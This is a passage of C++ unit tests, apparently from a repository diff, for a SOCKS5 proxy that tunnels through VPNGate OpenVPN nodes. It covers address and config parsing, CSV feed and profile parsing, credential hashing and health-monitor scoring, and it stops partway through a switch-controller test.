// (IpAddress, enums without an operator<<, ...) degrades to a placeholder
// rather than failing to compile.
template <typename T>
concept Streamable = requires(std::ostream &os, const T &v) { os << v; };
template <typename T>
std::string to_str(const T &v) {
if constexpr (Streamable<T>) {
std::ostringstream os;
os << v;
return os.str();
} else {
return "<value>";
}
}
inline std::string to_str(bool v) { return v ? "true" : "false"; }
inline std::string to_str(const std::string &v) { return "\"" + v + "\""; }
} // namespace ovgtest
#define OVG_TEST(name) \
static void name(); \
static ::ovgtest::Registrar ovg_reg_##name(#name, name); \
static void name()
#define SKIP(reason) ::ovgtest::skip(reason)
#define CHECK(cond) \
do { \
if (!(cond)) ::ovgtest::fail(__FILE__, __LINE__, "CHECK(" #cond ")"); \
} while (0)
#define CHECK_EQ(a, b) \
do { \
const auto &ovg_a = (a); \
const auto &ovg_b = (b); \
if (!(ovg_a == ovg_b)) \
::ovgtest::fail(__FILE__, __LINE__, \
"CHECK_EQ(" #a ", " #b ")\n left = " + \
::ovgtest::to_str(ovg_a) + \
"\n right = " + ::ovgtest::to_str(ovg_b)); \
} while (0)
#define CHECK_NE(a, b) \
do { \
if ((a) == (b)) \
::ovgtest::fail(__FILE__, __LINE__, "CHECK_NE(" #a ", " #b ")"); \
} while (0)
#define CHECK_LT(a, b) \
do { \
const auto &ovg_a = (a); \
const auto &ovg_b = (b); \
if (!(ovg_a < ovg_b)) \
::ovgtest::fail(__FILE__, __LINE__, \
"CHECK_LT(" #a ", " #b ")\n left = " + \
::ovgtest::to_str(ovg_a) + \
"\n right = " + ::ovgtest::to_str(ovg_b)); \
} while (0)
#define CHECK_GT(a, b) CHECK_LT(b, a)
#define CHECK_NEAR(a, b, tol) \
do { \
const double ovg_d = static_cast<double>(a) - static_cast<double>(b); \
if (ovg_d > (tol) || -ovg_d > (tol)) \
::ovgtest::fail(__FILE__, __LINE__, \
"CHECK_NEAR(" #a ", " #b ")\n left = " + \
::ovgtest::to_str(static_cast<double>(a)) + \
"\n right = " + \
::ovgtest::to_str(static_cast<double>(b))); \
} while (0)
+271
View File
@@ -0,0 +1,271 @@
#include "common/config.h"
#include "common/endpoint.h"
#include "common/error.h"
#include "common/metrics.h"
#include "harness.h"
using namespace ovg;
// ---------------------------------------------------------------------------
// Endpoint
OVG_TEST(IpAddressParseV4) {
auto a = IpAddress::parse("192.168.1.1");
CHECK(a.has_value());
CHECK(a->is_v4());
CHECK_EQ(a->to_string(), std::string("192.168.1.1"));
CHECK_EQ(a->v4_host_order(), uint32_t(0xC0A80101));
CHECK_EQ(a->byte_len(), size_t(4));
}
OVG_TEST(IpAddressParseV6) {
auto a = IpAddress::parse("2001:db8::1");
CHECK(a.has_value());
CHECK(a->is_v6());
CHECK_EQ(a->to_string(), std::string("2001:db8::1"));
CHECK_EQ(a->byte_len(), size_t(16));
}
OVG_TEST(IpAddressRejectsGarbage) {
CHECK(!IpAddress::parse("example.com").has_value());
CHECK(!IpAddress::parse("999.1.1.1").has_value());
CHECK(!IpAddress::parse("").has_value());
}
OVG_TEST(IpAddressFromBytes) {
const uint8_t b[4] = {8, 8, 4, 4};
auto a = IpAddress::from_bytes_v4(b);
CHECK_EQ(a.to_string(), std::string("8.8.4.4"));
CHECK_EQ(a, *IpAddress::parse("8.8.4.4"));
}
OVG_TEST(EndpointParseForms) {
auto v4 = Endpoint::parse("1.2.3.4:80");
CHECK(v4.has_value());
CHECK(v4->kind() == Endpoint::Kind::Ipv4);
CHECK_EQ(v4->port(), uint16_t(80));
CHECK_EQ(v4->to_string(), std::string("1.2.3.4:80"));
auto v6 = Endpoint::parse("[::1]:8080");
CHECK(v6.has_value());
CHECK(v6->kind() == Endpoint::Kind::Ipv6);
CHECK_EQ(v6->port(), uint16_t(8080));
CHECK_EQ(v6->to_string(), std::string("[::1]:8080"));
auto dom = Endpoint::parse("example.com:443");
CHECK(dom.has_value());
CHECK(dom->is_domain());
CHECK_EQ(dom->domain(), std::string("example.com"));
CHECK_EQ(dom->host_string(), std::string("example.com"));
}
OVG_TEST(EndpointDomainStaysUnresolved) {
// The whole point of keeping Domain as a kind: no local DNS lookup happens,
// so nothing leaks outside the tunnel.
Endpoint e("example.com", 443);
CHECK(e.is_domain());
CHECK(!e.address().valid());
}
OVG_TEST(EndpointRejectsBadInput) {
CHECK(!Endpoint::parse("1.2.3.4").has_value()); // no port
CHECK(!Endpoint::parse("1.2.3.4:99999").has_value()); // port out of range
CHECK(!Endpoint::parse("").has_value());
}
// ---------------------------------------------------------------------------
// Errors
OVG_TEST(ErrorCodesMapToSocks5Replies) {
auto rep = [](Error e) { return int(socks5_reply_for(make_error_code(e))); };
CHECK_EQ(rep(Error::Ok), 0x00);
CHECK_EQ(rep(Error::ConnectionRefused), 0x05);
CHECK_EQ(rep(Error::NetworkUnreachable), 0x03);
CHECK_EQ(rep(Error::HostUnreachable), 0x04);
CHECK_EQ(rep(Error::ResolveFailed), 0x04);
CHECK_EQ(rep(Error::Timeout), 0x06); // TTL expired
CHECK_EQ(rep(Error::NotSupported), 0x07);
// A dead or draining egress looks like an unreachable network to the client.
CHECK_EQ(rep(Error::EgressDraining), 0x03);
CHECK_EQ(rep(Error::EgressGone), 0x03);
// Anything unmapped must still be a valid REP value, not a random byte.
CHECK_EQ(rep(Error::Internal), 0x01);
}
OVG_TEST(Socks5ReplyMapsSystemErrors) {
// asio hands us std::errc, not our category.
CHECK_EQ(int(socks5_reply_for(std::make_error_code(
std::errc::connection_refused))),
0x05);
CHECK_EQ(int(socks5_reply_for(std::make_error_code(std::errc::timed_out))),
0x06);
CHECK_EQ(int(socks5_reply_for(std::error_code())), 0x00);
}
OVG_TEST(ErrorCodesHaveMessages) {
const std::error_code ec = Error::EgressDraining; // implicit conversion
CHECK(ec); // non-zero
CHECK(!ec.message().empty());
CHECK(!make_error_code(Error::Ok));
}
// ---------------------------------------------------------------------------
// Metrics
OVG_TEST(MetricsHandlesAreStable) {
auto *a = metrics::counter("ovg_test_thing_total", "help");
auto *b = metrics::counter("ovg_test_thing_total");
CHECK_EQ(a, b);
a->inc(3);
CHECK_EQ(b->value(), uint64_t(3));
}
OVG_TEST(MetricsRenderPrometheus) {
metrics::gauge("ovg_test_gauge", "a gauge")->set(42);
const auto text = metrics::Registry::instance().render_prometheus();
CHECK_NE(text.find("# TYPE ovg_test_gauge gauge"), std::string::npos);
CHECK_NE(text.find("ovg_test_gauge 42"), std::string::npos);
}
// ---------------------------------------------------------------------------
// Config
OVG_TEST(ParseDurationUnits) {
Millis m{};
CHECK(parse_duration("250ms", &m));
CHECK_EQ(m.count(), int64_t(250));
CHECK(parse_duration("30s", &m));
CHECK_EQ(m.count(), int64_t(30000));
CHECK(parse_duration("5m", &m));
CHECK_EQ(m.count(), int64_t(300000));
CHECK(parse_duration("2h", &m));
CHECK_EQ(m.count(), int64_t(7200000));
CHECK(parse_duration("1d", &m));
CHECK_EQ(m.count(), int64_t(86400000));
// Bare number = seconds.
CHECK(parse_duration("45", &m));
CHECK_EQ(m.count(), int64_t(45000));
}
OVG_TEST(ParseDurationRejectsGarbage) {
Millis m{};
CHECK(!parse_duration("", &m));
CHECK(!parse_duration("soon", &m));
CHECK(!parse_duration("-5s", &m));
CHECK(!parse_duration("5 fortnights", &m));
}
OVG_TEST(ConfigDefaultsRefuseAnonymousProxy) {
// Secure by default: auth is on and there are no users, so a config that
// defines neither must be rejected rather than quietly opening an open relay.
Config c;
std::string err;
CHECK(!c.validate(&err));
CHECK_NE(err.find("require_auth"), std::string::npos);
CHECK_EQ(c.socks5.listen_port, uint16_t(1080));
CHECK_EQ(c.socks5.listen_address, std::string("127.0.0.1"));
CHECK(c.socks5.require_auth);
CHECK(c.socks5.udp_associate_enabled);
// With a user it validates.
c.socks5.users.push_back(make_credential("alice", "hunter2"));
CHECK(c.validate(&err));
}
OVG_TEST(ConfigLoadsSections) {
const char *text = R"(
# a comment
[socks5]
listen_address = 0.0.0.0
listen_port = 1081
advertise_address = 203.0.113.7
idle_timeout = 90s
max_sessions = 2000
[selector]
country_allow = JP, KR, SG
prefer_udp = false
probe_candidates = 20
[switch]
mode = hard
drain_grace = 30s
[users]
alice = hunter2
)";
Config c;
std::string err;
CHECK(Config::load_string(text, &c, &err));
CHECK_EQ(err, std::string(""));
CHECK_EQ(c.socks5.listen_address, std::string("0.0.0.0"));
CHECK_EQ(c.socks5.listen_port, uint16_t(1081));
CHECK_EQ(c.socks5.idle_timeout.count(), int64_t(90000));
CHECK_EQ(c.socks5.max_sessions, size_t(2000));
CHECK_EQ(c.selector.country_allow.size(), size_t(3));
CHECK_EQ(c.selector.country_allow[2], std::string("SG"));
CHECK(!c.selector.prefer_udp);
CHECK_EQ(c.selector.probe_candidates, size_t(20));
CHECK(c.switching.mode == SwitchConfig::Mode::Hard);
CHECK_EQ(c.switching.drain_grace.count(), int64_t(30000));
CHECK_EQ(c.socks5.users.size(), size_t(1));
CHECK_EQ(c.socks5.users[0].username, std::string("alice"));
CHECK(verify_credential(c.socks5.users[0], "hunter2"));
}
OVG_TEST(ConfigRejectsUnknownKey) {
// A key nobody reads is a key that silently does nothing. Catch it at load.
Config c;
std::string err;
CHECK(!Config::load_string(
"[socks5]\nlisten_prot = 1080\n[users]\na = b\n", &c, &err));
CHECK_NE(err.find("socks5.listen_prot"), std::string::npos);
}
OVG_TEST(ConfigAcceptsUserDefinedSections) {
// [users] and [log.modules] have keys we cannot enumerate; they must not be
// mistaken for typos by the unknown-key check.
Config c;
std::string err;
CHECK(Config::load_string(
"[log.modules]\nsocks5 = debug\nselector = warn\n"
"[users]\nalice = a\nbob = b\n",
&c, &err));
CHECK_EQ(err, std::string(""));
CHECK_EQ(c.socks5.users.size(), size_t(2));
CHECK(c.logging.module_levels.at("socks5") == log::Level::Debug);
CHECK(c.logging.module_levels.at("selector") == log::Level::Warn);
}
OVG_TEST(ConfigRejectsBadValues) {
Config c;
std::string err;
CHECK(!Config::load_string("[socks5]\nlisten_port = eighty\n[users]\na=b\n",
&c, &err));
CHECK(!Config::load_string("[switch]\nmode = sideways\n[users]\na=b\n", &c,
&err));
CHECK(!Config::load_string("[dns]\nfallback_servers = dns.example.com\n"
"[users]\na=b\n",
&c, &err));
CHECK_NE(err.find("IP literals"), std::string::npos);
}
OVG_TEST(CredentialsAreSaltedAndVerify) {
auto c = make_credential("alice", "hunter2");
CHECK_EQ(c.username, std::string("alice"));
CHECK(!c.salt_hex.empty());
CHECK_EQ(c.hash_hex.size(), size_t(64)); // sha256 hex
CHECK(verify_credential(c, "hunter2"));
CHECK(!verify_credential(c, "hunter3"));
CHECK(!verify_credential(c, ""));
// Same password, different salt => different hash.
auto d = make_credential("alice", "hunter2");
CHECK_NE(c.salt_hex, d.salt_hex);
CHECK_NE(c.hash_hex, d.hash_hex);
}
+248
View File
@@ -0,0 +1,248 @@
// The VPNGate feed is hostile in a boring way: very long lines, volunteer-typed
// free text, and occasional rows that are simply broken. These tests pin the
// two behaviours we actually depend on -- no line-length assumptions, and one
// bad row never costs us the rest of the list.
#include <fstream>
#include <sstream>
#include "harness.h"
#include "vpngate/csv_parser.h"
using namespace ovg::vpngate;
namespace {
std::string read_sample() {
std::ifstream in(ovgtest::data_path("vpngate_sample.csv"), std::ios::binary);
CHECK(in.good());
std::ostringstream ss;
ss << in.rdbuf();
return ss.str();
}
} // namespace
OVG_TEST(SplitCsvBasic) {
auto f = split_csv_line("a,b,c");
CHECK_EQ(f.size(), size_t(3));
CHECK_EQ(f[0], std::string("a"));
CHECK_EQ(f[2], std::string("c"));
}
OVG_TEST(SplitCsvEmptyFields) {
auto f = split_csv_line("a,,c,");
CHECK_EQ(f.size(), size_t(4));
CHECK_EQ(f[1], std::string(""));
CHECK_EQ(f[3], std::string(""));
}
OVG_TEST(SplitCsvQuotedCommaAndDoubledQuote) {
auto f = split_csv_line(R"(a,"b,still b","he said ""hi""",d)");
CHECK_EQ(f.size(), size_t(4));
CHECK_EQ(f[1], std::string("b,still b"));
CHECK_EQ(f[2], std::string("he said \"hi\""));
CHECK_EQ(f[3], std::string("d"));
}
OVG_TEST(SplitCsvStripsTrailingCr) {
auto f = split_csv_line("a,b\r");
CHECK_EQ(f.size(), size_t(2));
CHECK_EQ(f[1], std::string("b"));
}
OVG_TEST(SplitCsvToleratesStrayQuote) {
// Volunteers type things like: Operator: 5" floppy fan club
auto f = split_csv_line("a,5\" floppy,c");
CHECK_EQ(f.size(), size_t(3));
CHECK_EQ(f[2], std::string("c"));
}
OVG_TEST(Base64RoundTrip) {
std::string out;
CHECK(base64_decode("aGVsbG8gd29ybGQ=", &out));
CHECK_EQ(out, std::string("hello world"));
CHECK(base64_decode("", &out));
CHECK_EQ(out, std::string(""));
// Embedded newlines are common in the wild; they must be ignored, not fatal.
CHECK(base64_decode("aGVs\nbG8g\nd29ybGQ=", &out));
CHECK_EQ(out, std::string("hello world"));
}
OVG_TEST(Base64RejectsGarbage) {
std::string out;
CHECK(!base64_decode("not*valid*base64", &out));
}
OVG_TEST(ExtractRemotesHonoursProtoRegardlessOfOrder) {
// "proto" appears *after* the remotes here. A single-pass parser would
// mislabel both as the default TCP.
const char *profile =
"client\n"
"dev tun\n"
"remote 1.2.3.4 1194\n"
"remote 1.2.3.4 443\n"
"proto udp\n"
"resolv-retry infinite\n";
auto r = extract_remotes(profile);
CHECK_EQ(r.size(), size_t(2));
CHECK(r[0].proto == Proto::Udp);
CHECK(r[1].proto == Proto::Udp);
CHECK_EQ(r[0].port, uint16_t(1194));
CHECK_EQ(r[1].port, uint16_t(443));
}
OVG_TEST(ExtractRemotesPerRemoteProtoWins) {
const char *profile =
"proto tcp\n"
"remote 1.2.3.4 1194 udp\n"
"remote 5.6.7.8 443\n";
auto r = extract_remotes(profile);
CHECK_EQ(r.size(), size_t(2));
CHECK(r[0].proto == Proto::Udp);
CHECK(r[1].proto == Proto::Tcp);
}
OVG_TEST(ExtractRemotesUnderstandsTcpClient) {
const char *profile = "proto tcp-client\nremote 1.2.3.4 443\n";
auto r = extract_remotes(profile);
CHECK_EQ(r.size(), size_t(1));
CHECK(r[0].proto == Proto::Tcp);
}
OVG_TEST(ExtractRemotesAppliesBarePortDirective) {
const char *profile = "port 1194\nremote 1.2.3.4\nproto udp\n";
auto r = extract_remotes(profile);
CHECK_EQ(r.size(), size_t(1));
CHECK_EQ(r[0].port, uint16_t(1194));
}
OVG_TEST(ExtractRemotesIgnoresInlineBlocks) {
// Two traps. A <connection> block declares an alternative remote we never
// scored -- and the sanitizer strips those blocks outright, so counting it
// here would make the node list and the profile we actually dial disagree.
// A PEM body is arbitrary base64 that can start a line with any word.
const char *profile =
"remote 1.2.3.4 443 tcp\n"
"<connection>\n"
"remote 9.9.9.9 1194 udp\n"
"</connection>\n"
"<ca>\n"
"remote 8.8.8.8 53 udp\n"
"proto udp\n"
"-----END CERTIFICATE-----\n"
"</ca>\n";
auto r = extract_remotes(profile);
CHECK_EQ(r.size(), size_t(1));
CHECK_EQ(r[0].host, std::string("1.2.3.4"));
CHECK(r[0].proto == Proto::Tcp);
}
OVG_TEST(ExtractRemotesMatchesBlockTagsCaseInsensitively) {
const char *profile =
"remote 1.2.3.4 443 tcp\n"
"<CA>\n"
"remote 9.9.9.9 1194 udp\n"
"</ca>\n"
"remote 5.6.7.8 443 tcp\n";
auto r = extract_remotes(profile);
CHECK_EQ(r.size(), size_t(2));
CHECK_EQ(r[1].host, std::string("5.6.7.8"));
}
OVG_TEST(ParseRejectsHtmlErrorPage) {
ParseResult res;
std::string err;
CHECK(!parse_node_list("<html><body>503</body></html>", &res, &err));
CHECK(!err.empty());
}
OVG_TEST(ParseRejectsMissingMagic) {
ParseResult res;
std::string err;
CHECK(!parse_node_list("#HostName,IP\nfoo,1.2.3.4\n", &res, &err));
}
OVG_TEST(ParseSkipsBadRowsAndKeepsGoing) {
// Row 2 is truncated, row 3 has undecodable base64. Row 1 and 4 must survive.
std::string good_profile_b64;
{
// "client\nremote 1.2.3.4 443 tcp\n" base64-encoded.
good_profile_b64 = "Y2xpZW50CnJlbW90ZSAxLjIuMy40IDQ0MyB0Y3AK";
}
std::ostringstream body;
body << "*vpn_servers\n"
<< "#HostName,IP,Score,Ping,Speed,CountryLong,CountryShort,"
"NumVpnSessions,Uptime,TotalUsers,TotalTraffic,LogType,Operator,"
"Message,OpenVPN_ConfigData_Base64\n"
<< "ok1,1.1.1.1,100,10,1000,Japan,JP,1,1000,1,1,2weeks,op,,"
<< good_profile_b64 << "\n"
<< "truncated,2.2.2.2,100\n"
<< "badb64,3.3.3.3,100,10,1000,Japan,JP,1,1000,1,1,2weeks,op,,!!!!\n"
<< "ok2,4.4.4.4,200,20,2000,Korea,KR,2,2000,2,2,2weeks,op,,"
<< good_profile_b64 << "\n"
<< "*\n";
ParseResult res;
std::string err;
CHECK(parse_node_list(body.str(), &res, &err));
CHECK_EQ(res.nodes.size(), size_t(2));
CHECK_EQ(res.nodes[0].host_name, std::string("ok1"));
CHECK_EQ(res.nodes[1].host_name, std::string("ok2"));
CHECK_EQ(res.stats.data_rows, size_t(4));
CHECK_EQ(res.stats.accepted, size_t(2));
CHECK_EQ(res.stats.skipped_columns, size_t(1));
CHECK_EQ(res.stats.skipped_base64, size_t(1));
}
OVG_TEST(ParseRealSampleFeed) {
const auto body = read_sample();
CHECK_GT(body.size(), size_t(1000000));
ParseResult res;
std::string err;
CHECK(parse_node_list(body, &res, &err));
// The captured feed had 96 data rows; every one of them should parse.
CHECK_GT(res.nodes.size(), size_t(80));
CHECK_EQ(res.stats.accepted, res.stats.data_rows);
for (const auto &n : res.nodes) {
CHECK(!n.host_name.empty());
CHECK(!n.ip.empty());
CHECK(!n.remotes.empty());
// openvpn3 needs the whole profile, inline certs and all.
CHECK_GT(n.profile.size(), size_t(1000));
CHECK_NE(n.profile.find("<ca>"), std::string::npos);
CHECK_NE(n.id().find('@'), std::string::npos);
}
}
OVG_TEST(RealSampleHasVeryLongLines) {
// Guards the requirement explicitly: if this ever fits in a 4 KB buffer, the
// test data stopped being representative.
const auto body = read_sample();
size_t longest = 0, start = 0;
for (size_t i = 0; i <= body.size(); ++i) {
if (i == body.size() || body[i] == '\n') {
longest = std::max(longest, i - start);
start = i + 1;
}
}
CHECK_GT(longest, size_t(8192));
}
OVG_TEST(RealSampleNodesOfferTcp443) {
// The tunnel design assumes almost every node exposes TCP; the prober cannot
// time a UDP-only node (see selector/prober.h).
const auto body = read_sample();
ParseResult res;
std::string err;
CHECK(parse_node_list(body, &res, &err));
size_t with_tcp = 0;
for (const auto &n : res.nodes)
if (n.has_tcp()) ++with_tcp;
CHECK_GT(with_tcp, res.nodes.size() * 9 / 10);
}
File diff suppressed because it is too large Load Diff
+433
View File
@@ -0,0 +1,433 @@
// Health monitor and switch controller.
//
// The monitor is scored arithmetic over an egress it does not own, so the whole
// module can be exercised against a fake egress with no tunnel, no sockets and
// no waiting: the probe outcome, the byte counters and the connect ledger are
// all set directly by the test. What is worth testing here is the scoring
// policy, not asio -- specifically the three things that are easy to get
// backwards:
//
// * a signal that is *missing* (the direct egress keeps no byte counters)
// must renormalise out of the score rather than count as a failure;
// * a failed probe must not be averaged back into "fine" by healthy-looking
// counters around it;
// * a sustained-unhealthy report fires once per degradation, not once per
// round, or every interval queues another switch request for a decision
// already taken.
#include <asio.hpp>
#include <atomic>
#include <chrono>
#include <memory>
#include <string>
#include <vector>
#include "common/config.h"
#include "common/error.h"
#include "egress/egress.h"
#include "egress/egress_manager.h"
#include "harness.h"
#include "health/health_monitor.h"
#include "health/switch_controller.h"
using namespace ovg;
using namespace std::chrono_literals;
namespace {
bool run_until(asio::io_context &io, const std::function<bool()> &pred,
std::chrono::milliseconds limit) {
const auto deadline = std::chrono::steady_clock::now() + limit;
while (std::chrono::steady_clock::now() < deadline) {
if (pred()) return true;
io.run_for(5ms);
io.restart();
}
return pred();
}
// An egress whose every health input is a public member. `connect_result`
// decides what the probe sees; `stats_` is whatever the test wants reported.
class ProbeEgress final : public egress::Egress {
public:
explicit ProbeEgress(asio::io_context &io) : io_(io), label_("fake-node") {
stats_.node_id = "fake-node";
stats_.proto = "fake";
}
void async_connect_tcp(const asio::any_io_executor &ex, const Endpoint &ep,
Millis, ConnectHandler h) override {
probes.fetch_add(1);
last_target = ep.to_string();
if (hang) return; // handler dropped on purpose: exercises the guard timer
auto ec = connect_ec;
asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); });
}
void async_bind_udp(const asio::any_io_executor &ex,
UdpBindHandler h) override {
asio::post(ex, [h = std::move(h)]() mutable {
h(make_error_code(Error::NotSupported), nullptr);
});
}
void async_resolve(const asio::any_io_executor &ex, const std::string &,
ResolveHandler h) override {
asio::post(ex, [h = std::move(h)]() mutable {
h(make_error_code(Error::NotSupported), {});
});
}
egress::EgressState state() const override { return state_.load(); }
egress::EgressStats stats() const override { return stats_; }
std::string detail() const override { return detail_; }
void begin_drain() override {}
void shutdown(std::function<void()> on_done) override {
state_.store(egress::EgressState::Down);
if (on_done) asio::post(io_, std::move(on_done));
}
const std::string &label() const override { return label_; }
std::error_code connect_ec{};
bool hang = false;
std::atomic<int> probes{0};
std::string last_target;
std::atomic<egress::EgressState> state_{egress::EgressState::Ready};
egress::EgressStats stats_;
std::string detail_;
private:
asio::io_context &io_;
std::string label_;
};
// A monitor over one fake egress, with the timing wound down so a "sustained"
// verdict takes milliseconds instead of a minute.
//
// The config is copied into the monitor at construction, so `tweak` is where a
// test changes it -- there is no setter afterwards, by design.
struct Fixture {
asio::io_context io;
std::shared_ptr<ProbeEgress> eg = std::make_shared<ProbeEgress>(io);
HealthConfig cfg;
std::unique_ptr<health::HealthMonitor> mon;
std::vector<std::string> unhealthy;
bool provide = true;
explicit Fixture(int windows = 2,
const std::function<void(HealthConfig &)> &tweak = {}) {
cfg.interval = 20ms;
cfg.probe_timeout = 200ms;
cfg.unhealthy_windows = windows;
cfg.probe_domain = "probe.invalid";
cfg.probe_port = 8080;
if (tweak) tweak(cfg);
mon = std::make_unique<health::HealthMonitor>(
io, cfg, [this]() -> egress::EgressPtr {
return provide ? eg : nullptr;
});
mon->set_on_unhealthy(
[this](const std::string &why) { unhealthy.push_back(why); });
}
~Fixture() {
mon->stop();
io.run_for(50ms);
}
// Waits for `n` completed rounds rather than for wall-clock time.
bool rounds(uint64_t n, std::chrono::milliseconds limit = 3s) {
return run_until(io, [this, n] { return mon->rounds() >= n; }, limit);
}
// Waits for `n` more rounds than have already happened.
bool more_rounds(uint64_t n, std::chrono::milliseconds limit = 3s) {
return rounds(mon->rounds() + n, limit);
}
};
} // namespace
// ---------------------------------------------------------------------------
// Scoring
// ---------------------------------------------------------------------------
OVG_TEST(health_scores_a_working_egress_healthy) {
Fixture f;
f.mon->start();
CHECK(f.rounds(1));
const auto s = f.mon->last();
CHECK(s.egress_present);
CHECK(s.tunnel_up);
CHECK(s.probe_ok);
CHECK(s.healthy);
// Three terms available (rtt, connect, loss), all near perfect against a fake
// that answers instantly. Anything below 0.9 means a term scored a missing
// input as a bad one.
CHECK_GT(s.score, 0.9);
CHECK(f.unhealthy.empty());
}
OVG_TEST(health_probes_the_configured_host_and_port) {
Fixture f;
f.mon->start();
CHECK(f.rounds(1));
// The probe target is a TCP handshake to probe_domain:probe_port. A DNS
// lookup here would be answered from cache without crossing the tunnel.
CHECK_EQ(f.eg->last_target, std::string("probe.invalid:8080"));
}
OVG_TEST(health_renormalises_around_a_missing_stall_signal) {
Fixture f;
f.mon->start();
CHECK(f.rounds(1));
// No byte counters at all -- the direct egress's situation.
const auto without = f.mon->last();
CHECK(!without.stall_known);
// Now give it traffic, which makes the stall term available and *not* stalled.
f.eg->stats_.tun_bytes_out = 4096;
f.eg->stats_.tcp_active = 1;
CHECK(f.more_rounds(2));
const auto with = f.mon->last();
CHECK(with.stall_known);
// Adding a *satisfied* term must not move a healthy score materially. If the
// missing term had been scoring zero, this would jump by ~0.2.
CHECK_NEAR(with.score, without.score, 0.05);
}
OVG_TEST(health_caps_the_score_when_the_probe_fails) {
Fixture f;
// Everything else looks perfect: no drops, no failed connects, bytes moving.
f.eg->stats_.tx_packets = 1000;
f.eg->stats_.rx_packets = 1000;
f.eg->stats_.tcp_opened = 100;
f.eg->connect_ec = make_error_code(Error::Timeout);
f.mon->start();
CHECK(f.rounds(1));
const auto s = f.mon->last();
CHECK(!s.probe_ok);
CHECK(!s.healthy);
// The hard override, not the blend: healthy counters must not average a dead
// tunnel back up to passing.
CHECK(s.score <= f.cfg.min_score / 2.0);
CHECK(s.verdict.find("probe failed") != std::string::npos);
}
OVG_TEST(health_caps_the_score_on_a_high_connect_failure_rate) {
Fixture f;
f.eg->stats_.tcp_opened = 10;
f.eg->stats_.tcp_failed = 90; // 90% failing, ceiling is 50%
f.mon->start();
CHECK(f.rounds(1));
const auto s = f.mon->last();
CHECK(s.probe_ok); // the probe itself was fine
CHECK(!s.healthy);
CHECK(s.score <= f.cfg.min_score / 2.0);
CHECK(s.verdict.find("connect failure rate") != std::string::npos);
}
OVG_TEST(health_reports_a_stall_only_with_streams_in_flight) {
Fixture f(2, [](HealthConfig &c) { c.stall_threshold = 1ms; });
// Bytes have moved once, so the signal exists, and now they stop.
f.eg->stats_.tun_bytes_out = 1024;
f.mon->start();
CHECK(f.rounds(2));
// Idle: no live streams, so a frozen counter is not a stall. A proxy with no
// clients is the normal overnight state and must not switch nodes over it.
CHECK(f.mon->last().stall_known);
CHECK_EQ(f.mon->last().stalled_ms, int64_t(0));
// Same frozen counter, but now something is waiting on it.
f.eg->stats_.tcp_active = 3;
CHECK(f.more_rounds(3));
const auto s = f.mon->last();
CHECK(s.stall_known);
CHECK_GT(s.stalled_ms, int64_t(0));
CHECK(s.verdict.find("no byte progress") != std::string::npos);
}
// ---------------------------------------------------------------------------
// Availability of the egress itself
// ---------------------------------------------------------------------------
OVG_TEST(health_records_a_sample_when_there_is_no_egress) {
Fixture f;
f.provide = false;
f.mon->start();
CHECK(f.rounds(1));
const auto s = f.mon->last();
CHECK(!s.egress_present);
CHECK(!s.tunnel_up);
CHECK(!s.healthy);
CHECK_EQ(s.score, 0.0);
CHECK_EQ(s.egress_label, std::string(""));
}
OVG_TEST(health_does_not_probe_an_egress_that_is_not_ready) {
Fixture f;
f.eg->state_.store(egress::EgressState::Connecting);
f.eg->detail_ = "handshaking";
f.mon->start();
CHECK(f.rounds(2));
// Probing a tunnel that is known to be down measures the timeout and nothing
// else; the verdict is already known.
CHECK_EQ(f.eg->probes.load(), 0);
const auto s = f.mon->last();
CHECK(s.egress_present);
CHECK(!s.tunnel_up);
CHECK(!s.healthy);
CHECK(s.verdict.find("handshaking") != std::string::npos);
}
OVG_TEST(health_gives_up_on_a_probe_whose_handler_never_returns) {
Fixture f(2, [](HealthConfig &c) { c.probe_timeout = 50ms; });
f.eg->hang = true; // handler simply dropped, as a wedged backend would
f.mon->start();
// The guard fires at probe_timeout + 2s. Without it the monitor wedges here
// forever, having handed its only in-flight slot to a handler that is never
// coming back -- and a monitor that has stopped sampling reports the last
// thing it saw, which was healthy.
CHECK(f.rounds(1, 5s));
const auto s = f.mon->last();
CHECK(!s.probe_ok);
CHECK(s.verdict.find("abandoned") != std::string::npos);
// And it recovers: the slot is released, so the next round runs.
f.eg->hang = false;
CHECK(f.rounds(2, 5s));
CHECK(f.mon->last().probe_ok);
}
// ---------------------------------------------------------------------------
// Sustained-unhealthy reporting
// ---------------------------------------------------------------------------
OVG_TEST(health_reports_unhealthy_only_after_consecutive_windows) {
Fixture f(3);
f.eg->connect_ec = make_error_code(Error::Timeout);
f.mon->start();
CHECK(f.rounds(2));
// Two bad windows out of three required: one bad sample on a volunteer tunnel
// in another country is weather, not a failure.
CHECK(f.unhealthy.empty());
CHECK(f.rounds(3));
CHECK(run_until(f.io, [&] { return !f.unhealthy.empty(); }, 2s));
CHECK_EQ(f.unhealthy.size(), size_t(1));
CHECK(f.unhealthy[0].find("fake-node") != std::string::npos);
}
OVG_TEST(health_reports_once_per_degradation_not_once_per_round) {
Fixture f(2);
f.eg->connect_ec = make_error_code(Error::Timeout);
f.mon->start();
CHECK(f.rounds(9));
// Nine bad rounds at a 2-window threshold. The counter resets on each report,
// so this is four or five reports -- not eight. If it did not reset, every
// round past the second would queue another switch request.
CHECK_GT(f.unhealthy.size(), size_t(1));
CHECK(f.unhealthy.size() <= 5);
}
OVG_TEST(health_recovery_clears_the_consecutive_counter) {
Fixture f(3);
f.eg->connect_ec = make_error_code(Error::Timeout);
f.mon->start();
CHECK(f.rounds(2));
CHECK_EQ(f.mon->consecutive_bad(), 2);
f.eg->connect_ec = {};
CHECK(f.more_rounds(2));
CHECK(run_until(f.io, [&] { return f.mon->consecutive_bad() == 0; }, 2s));
CHECK(f.unhealthy.empty());
}
OVG_TEST(health_keeps_a_bounded_history) {
Fixture f;
f.mon->start();
CHECK(f.rounds(24, 5s));
// kHistoryDepth is 20; ask for more and get what exists, never more.
CHECK_EQ(f.mon->recent(50).size(), size_t(20));
CHECK_EQ(f.mon->recent(5).size(), size_t(5));
// recent() is oldest-first, so the last element is the newest sample.
const auto r = f.mon->recent(5);
CHECK(r.front().age_ms >= r.back().age_ms);
}
// ---------------------------------------------------------------------------
// Switch controller
// ---------------------------------------------------------------------------
OVG_TEST(switch_controller_reports_why_the_manager_declined) {
asio::io_context io;
Config cfg;
cfg.egress_mode = "direct";
cfg.health.interval = 1h; // no rounds of its own during this test
egress::EgressManager mgr(io, cfg, nullptr, nullptr, nullptr);
health::HealthMonitor mon(io, cfg.health,
[&]() -> egress::EgressPtr { return nullptr; });
health::SwitchController sw(io, cfg, mon, mgr);
std::string detail;
const bool ok = sw.force_switch("test", &detail);
CHECK(!ok);
